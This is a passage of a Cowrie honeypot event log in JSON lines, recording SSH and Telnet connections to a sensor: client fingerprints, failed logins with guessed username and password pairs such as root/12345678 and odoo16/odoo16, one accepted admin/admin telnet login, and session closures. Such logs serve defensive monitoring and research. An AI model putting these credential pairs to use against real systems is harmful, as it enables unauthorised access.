{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:26.186270Z","src_ip":"172.237.20.62","session":"f546b9e27a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:26.664458Z","src_ip":"172.237.20.62","session":"f546b9e27a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:27.826615Z","src_ip":"172.237.20.62","session":"f546b9e27a02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:28.409704Z","src_ip":"157.245.220.50","session":"1eaea9ea1043","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:28.460823Z","src_ip":"157.245.220.50","session":"1eaea9ea1043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40220,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eeb2c432afb","protocol":"ssh","message":"New connection: 172.237.20.62:40220 (159.203.135.109:22) [session: 1eeb2c432afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:36.707058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:36.710408Z","src_ip":"172.237.20.62","session":"1eeb2c432afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:36.868373Z","src_ip":"172.237.20.62","session":"1eeb2c432afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:37.348043Z","src_ip":"172.237.20.62","session":"1eeb2c432afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:38.512083Z","src_ip":"172.237.20.62","session":"1eeb2c432afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50454,"dst_ip":"159.203.135.109","dst_port":22,"session":"456bace584e4","protocol":"ssh","message":"New connection: 172.237.20.62:50454 (159.203.135.109:22) [session: 456bace584e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:47.717908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:47.721904Z","src_ip":"172.237.20.62","session":"456bace584e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:47.885030Z","src_ip":"172.237.20.62","session":"456bace584e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:48.362916Z","src_ip":"172.237.20.62","session":"456bace584e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:49.524390Z","src_ip":"172.237.20.62","session":"456bace584e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39048,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b66913b3e84","protocol":"ssh","message":"New connection: 80.94.92.184:39048 (10.17.0.5:22) [session: 6b66913b3e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:55.238660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:55.792983Z","src_ip":"80.94.92.184","session":"6b66913b3e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:55.796770Z","src_ip":"80.94.92.184","session":"6b66913b3e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:56.591954Z","src_ip":"80.94.92.184","session":"6b66913b3e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:58.477541Z","src_ip":"80.94.92.184","session":"6b66913b3e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f33bf98ba1ed","protocol":"ssh","message":"New connection: 172.237.20.62:41142 (159.203.135.109:22) [session: f33bf98ba1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:58.707640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:58.711646Z","src_ip":"172.237.20.62","session":"f33bf98ba1ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:58.870581Z","src_ip":"172.237.20.62","session":"f33bf98ba1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:59.368061Z","src_ip":"172.237.20.62","session":"f33bf98ba1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:00.529593Z","src_ip":"172.237.20.62","session":"f33bf98ba1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42078,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3cc6803cf27","protocol":"ssh","message":"New connection: 172.237.20.62:42078 (159.203.135.109:22) [session: c3cc6803cf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:09.588317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:09.593968Z","src_ip":"172.237.20.62","session":"c3cc6803cf27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:09.753276Z","src_ip":"172.237.20.62","session":"c3cc6803cf27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:10.228289Z","src_ip":"172.237.20.62","session":"c3cc6803cf27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:11.389012Z","src_ip":"172.237.20.62","session":"c3cc6803cf27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65326,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a49efbb1bd9","protocol":"ssh","message":"New connection: 194.59.206.2:65326 (159.203.135.109:22) [session: 3a49efbb1bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:12.281530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:12.307444Z","src_ip":"194.59.206.2","session":"3a49efbb1bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:12.377909Z","src_ip":"194.59.206.2","session":"3a49efbb1bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:12.556481Z","src_ip":"194.59.206.2","session":"3a49efbb1bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33916,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e88acb1701a","protocol":"ssh","message":"New connection: 172.237.20.62:33916 (159.203.135.109:22) [session: 4e88acb1701a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:20.547238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:20.551526Z","src_ip":"172.237.20.62","session":"4e88acb1701a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:20.712612Z","src_ip":"172.237.20.62","session":"4e88acb1701a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:21.198622Z","src_ip":"172.237.20.62","session":"4e88acb1701a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:22.363148Z","src_ip":"172.237.20.62","session":"4e88acb1701a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48564,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad20e394f44","protocol":"ssh","message":"New connection: 172.237.20.62:48564 (159.203.135.109:22) [session: 9ad20e394f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:31.412922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:31.417180Z","src_ip":"172.237.20.62","session":"9ad20e394f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa